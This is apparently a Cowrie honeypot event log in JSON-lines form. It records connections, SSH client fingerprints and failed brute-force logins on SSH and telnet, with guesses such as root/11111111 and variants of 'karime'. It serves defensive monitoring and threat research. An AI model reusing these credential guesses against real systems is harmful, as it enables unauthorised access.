{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54092,"dst_ip":"159.203.135.109","dst_port":23,"session":"74f4dacfdffd","protocol":"telnet","message":"New connection: 128.199.8.54:54092 (159.203.135.109:23) [session: 74f4dacfdffd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:25.850515Z"}
{"eventid":"cowrie.session.closed","duration":34.905436754226685,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:26.312268Z","src_ip":"128.199.8.54","session":"f2e0e22c6198","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.44382381439209,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:32.662559Z","src_ip":"128.199.8.54","session":"ee770dafadc7","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.81371593475342,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:34.570188Z","src_ip":"128.199.8.54","session":"e9804b80127a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.15.226.202","src_port":44348,"dst_ip":"10.17.0.5","dst_port":22,"session":"e825ede60ce9","protocol":"ssh","message":"New connection: 103.15.226.202:44348 (10.17.0.5:22) [session: e825ede60ce9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:35.363519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:35.368445Z","src_ip":"103.15.226.202","session":"e825ede60ce9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"98f63c4d9c87edbd97ed4747fa031019","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:35.617810Z","src_ip":"103.15.226.202","session":"e825ede60ce9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"11111111","message":"login attempt [root/11111111] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:36.370632Z","src_ip":"103.15.226.202","session":"e825ede60ce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:37.623709Z","src_ip":"103.15.226.202","session":"e825ede60ce9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.487823724746704,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:42.241451Z","src_ip":"128.199.8.54","session":"b496ed387f40","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.29806184768677,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:44.398964Z","src_ip":"128.199.8.54","session":"dbb87916ce7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48636,"dst_ip":"159.203.135.109","dst_port":23,"session":"169344263426","protocol":"telnet","message":"New connection: 128.199.8.54:48636 (159.203.135.109:23) [session: 169344263426]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:51.072127Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49302,"dst_ip":"159.203.135.109","dst_port":23,"session":"ae2f0c7e4821","protocol":"telnet","message":"New connection: 128.199.8.54:49302 (159.203.135.109:23) [session: ae2f0c7e4821]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:51.365175Z"}
{"eventid":"cowrie.session.closed","duration":35.702006101608276,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:51.935383Z","src_ip":"128.199.8.54","session":"fecd752f2189","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.97825217247009,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:52.066965Z","src_ip":"128.199.8.54","session":"2396206496e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34928,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a1e3dc98851","protocol":"telnet","message":"New connection: 128.199.8.54:34928 (159.203.135.109:23) [session: 1a1e3dc98851]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:58.156363Z"}
{"eventid":"cowrie.session.closed","duration":35.18687725067139,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:59.064408Z","src_ip":"128.199.8.54","session":"89fe6502f6d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.19683623313904,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:51:59.875131Z","src_ip":"128.199.8.54","session":"ae6b6c570682","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.712252378463745,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:52:01.562646Z","src_ip":"128.199.8.54","session":"74f4dacfdffd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":52620,"dst_ip":"159.203.135.109","dst_port":23,"session":"759f82b70f06","protocol":"telnet","message":"New connection: 128.199.8.54:52620 (159.203.135.109:23) [session: 759f82b70f06]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:52:06.611671Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49458,"dst_ip":"159.203.135.109","dst_port":23,"session":"dcef8069eb81","protocol":"telnet","message":"New connection: 128.199.8.54:49458 (159.203.135.109:23) [session: dcef8069eb81]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:52:18.706017Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":32852,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3dec55b3a12","protocol":"telnet","message":"New connection: 128.199.8.54:32852 (159.203.135.109:23) [session: d3dec55b3a12]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:52:24.018308Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":32978,"dst_ip":"159.203.135.109","dst_port":23,"session":"65e0a604396c","protocol":"telnet","message":"New connection: 128.199.8.54:32978 (159.203.135.109:23) [session: 65e0a604396c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:52:24.061782Z"}
{"eventid":"cowrie.session.closed","duration":33.08720946311951,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:52:24.159150Z","src_ip":"128.199.8.54","session":"169344263426","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.68718218803406,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:52:25.052265Z","src_ip":"128.199.8.54","session":"ae2f0c7e4821","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"41.0.139.15","src_port":35940,"dst_ip":"159.203.135.109","dst_port":23,"session":"034084103d90","protocol":"telnet","message":"New connection: 41.0.139.15:35940 (159.203.135.109:23) [session: 034084103d90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:52:29.798031Z"}
{"eventid":"cowrie.session.closed","duration":35.18944478034973,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:52:33.345667Z","src_ip":"128.199.8.54","session":"1a1e3dc98851","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57666,"dst_ip":"159.203.135.109","dst_port":23,"session":"d97aeec9630f","protocol":"telnet","message":"New connection: 128.199.8.54:57666 (159.203.135.109:23) [session: d97aeec9630f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:52:36.158659Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59084,"dst_ip":"159.203.135.109","dst_port":23,"session":"466994256bcf","protocol":"telnet","message":"New connection: 128.199.8.54:59084 (159.203.135.109:23) [session: 466994256bcf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:52:36.859060Z"}
{"eventid":"cowrie.session.closed","duration":33.53236126899719,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:52:40.143882Z","src_ip":"128.199.8.54","session":"759f82b70f06","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":41486,"dst_ip":"159.203.135.109","dst_port":23,"session":"009486c47a85","protocol":"telnet","message":"New connection: 128.199.8.54:41486 (159.203.135.109:23) [session: 009486c47a85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:52:42.024426Z"}
{"eventid":"cowrie.session.closed","duration":13.907712697982788,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:52:43.705614Z","src_ip":"41.0.139.15","session":"034084103d90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48946,"dst_ip":"159.203.135.109","dst_port":23,"session":"abd1ef976c83","protocol":"telnet","message":"New connection: 128.199.8.54:48946 (159.203.135.109:23) [session: abd1ef976c83]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:52:46.667808Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58730,"dst_ip":"159.203.135.109","dst_port":23,"session":"2b411945b879","protocol":"telnet","message":"New connection: 128.199.8.54:58730 (159.203.135.109:23) [session: 2b411945b879]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:52:50.584630Z"}
{"eventid":"cowrie.session.closed","duration":33.366270542144775,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:52:52.072237Z","src_ip":"128.199.8.54","session":"dcef8069eb81","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.197892904281616,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:52:57.259544Z","src_ip":"128.199.8.54","session":"65e0a604396c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":40722,"dst_ip":"159.203.135.109","dst_port":22,"session":"70720f111d31","protocol":"ssh","message":"New connection: 2.57.122.208:40722 (159.203.135.109:22) [session: 70720f111d31]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:52:57.649976Z"}
{"eventid":"cowrie.session.closed","duration":33.681662797927856,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:52:57.699843Z","src_ip":"128.199.8.54","session":"d3dec55b3a12","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"0.1","message":"Connection lost after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:52:57.753893Z","src_ip":"2.57.122.208","session":"70720f111d31","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55806,"dst_ip":"159.203.135.109","dst_port":23,"session":"afed1ff0fac6","protocol":"telnet","message":"New connection: 128.199.8.54:55806 (159.203.135.109:23) [session: afed1ff0fac6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:53:03.420207Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58656,"dst_ip":"159.203.135.109","dst_port":23,"session":"a8df483816ac","protocol":"telnet","message":"New connection: 128.199.8.54:58656 (159.203.135.109:23) [session: a8df483816ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:53:04.880300Z"}
{"eventid":"cowrie.session.closed","duration":33.253907680511475,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:53:09.412443Z","src_ip":"128.199.8.54","session":"d97aeec9630f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.157429456710815,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:53:11.016307Z","src_ip":"128.199.8.54","session":"466994256bcf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":3720,"dst_ip":"10.17.0.5","dst_port":23,"session":"d2af21e32f57","protocol":"telnet","message":"New connection: 212.55.149.117:3720 (10.17.0.5:23) [session: d2af21e32f57]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:53:12.994703Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49886,"dst_ip":"159.203.135.109","dst_port":23,"session":"0c958584345c","protocol":"telnet","message":"New connection: 128.199.8.54:49886 (159.203.135.109:23) [session: 0c958584345c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:53:14.706162Z"}
{"eventid":"cowrie.session.closed","duration":34.72607207298279,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:53:16.750351Z","src_ip":"128.199.8.54","session":"009486c47a85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59070,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7551db09b2a","protocol":"telnet","message":"New connection: 128.199.8.54:59070 (159.203.135.109:23) [session: a7551db09b2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:53:19.413468Z"}
{"eventid":"cowrie.session.closed","duration":34.453521966934204,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:53:21.121181Z","src_ip":"128.199.8.54","session":"abd1ef976c83","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36700,"dst_ip":"159.203.135.109","dst_port":23,"session":"51249b5e1167","protocol":"telnet","message":"New connection: 128.199.8.54:36700 (159.203.135.109:23) [session: 51249b5e1167]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:53:22.520938Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43418,"dst_ip":"159.203.135.109","dst_port":23,"session":"afb480f0fe29","protocol":"telnet","message":"New connection: 128.199.8.54:43418 (159.203.135.109:23) [session: afb480f0fe29]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:53:25.905408Z"}
{"eventid":"cowrie.session.closed","duration":37.03366041183472,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:53:27.618162Z","src_ip":"128.199.8.54","session":"2b411945b879","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.14493680000305,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:53:38.564819Z","src_ip":"128.199.8.54","session":"afed1ff0fac6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.86669325828552,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:53:38.746788Z","src_ip":"128.199.8.54","session":"a8df483816ac","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53782,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ed737dd3210","protocol":"telnet","message":"New connection: 128.199.8.54:53782 (159.203.135.109:23) [session: 6ed737dd3210]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:53:45.244789Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39970,"dst_ip":"159.203.135.109","dst_port":23,"session":"4dc81afe6d9b","protocol":"telnet","message":"New connection: 128.199.8.54:39970 (159.203.135.109:23) [session: 4dc81afe6d9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:53:52.380802Z"}
{"eventid":"cowrie.session.closed","duration":34.243380546569824,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:53:53.656750Z","src_ip":"128.199.8.54","session":"a7551db09b2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":46664,"dst_ip":"159.203.135.109","dst_port":23,"session":"ea93ffbdd6e0","protocol":"telnet","message":"New connection: 128.199.8.54:46664 (159.203.135.109:23) [session: ea93ffbdd6e0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:53:55.591302Z"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.56","src_port":37827,"dst_ip":"10.17.0.5","dst_port":22,"session":"feac6f6c6747","protocol":"ssh","message":"New connection: 213.209.159.56:37827 (10.17.0.5:22) [session: feac6f6c6747]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:53:56.625237Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:53:56.630390Z","src_ip":"213.209.159.56","session":"feac6f6c6747","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:53:56.712598Z","src_ip":"213.209.159.56","session":"feac6f6c6747","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karime","password":"karime","message":"login attempt [karime/karime] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:53:57.115757Z","src_ip":"213.209.159.56","session":"feac6f6c6747","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karime","password":"karime1","message":"login attempt [karime/karime1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:53:58.201535Z","src_ip":"213.209.159.56","session":"feac6f6c6747","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karime","password":"karime123","message":"login attempt [karime/karime123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:53:59.287092Z","src_ip":"213.209.159.56","session":"feac6f6c6747","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"karime","password":"karime1234","message":"login attempt [karime/karime1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:00.373174Z","src_ip":"213.209.159.56","session":"feac6f6c6747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":34.83169507980347,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:00.736962Z","src_ip":"128.199.8.54","session":"afb480f0fe29","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"karime","password":"karime12345","message":"login attempt [karime/karime12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:01.462785Z","src_ip":"213.209.159.56","session":"feac6f6c6747","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"5.9","message":"Connection lost after 5.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:02.549484Z","src_ip":"213.209.159.56","session":"feac6f6c6747","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":8393,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e96c15a278a","protocol":"telnet","message":"New connection: 212.55.149.117:8393 (10.17.0.5:23) [session: 1e96c15a278a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:02.728905Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":42502,"dst_ip":"159.203.135.109","dst_port":23,"session":"16d986c6d1a5","protocol":"telnet","message":"New connection: 128.199.8.54:42502 (159.203.135.109:23) [session: 16d986c6d1a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:07.063867Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":44736,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4eeec8af078","protocol":"telnet","message":"New connection: 128.199.8.54:44736 (159.203.135.109:23) [session: f4eeec8af078]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:08.085104Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.109.212.211","src_port":37490,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a13c815c2a4","protocol":"telnet","message":"New connection: 208.109.212.211:37490 (10.17.0.5:23) [session: 1a13c815c2a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:08.684604Z"}
{"eventid":"cowrie.session.closed","duration":61.48618197441101,"message":"Connection lost after 61 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:14.480737Z","src_ip":"212.55.149.117","session":"d2af21e32f57","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59158,"dst_ip":"159.203.135.109","dst_port":23,"session":"2df02b111649","protocol":"telnet","message":"New connection: 128.199.8.54:59158 (159.203.135.109:23) [session: 2df02b111649]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:14.950537Z"}
{"eventid":"cowrie.session.closed","duration":60.68013834953308,"message":"Connection lost after 60 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:54:15.386184Z","src_ip":"128.199.8.54","session":"0c958584345c","protocol":"telnet"}
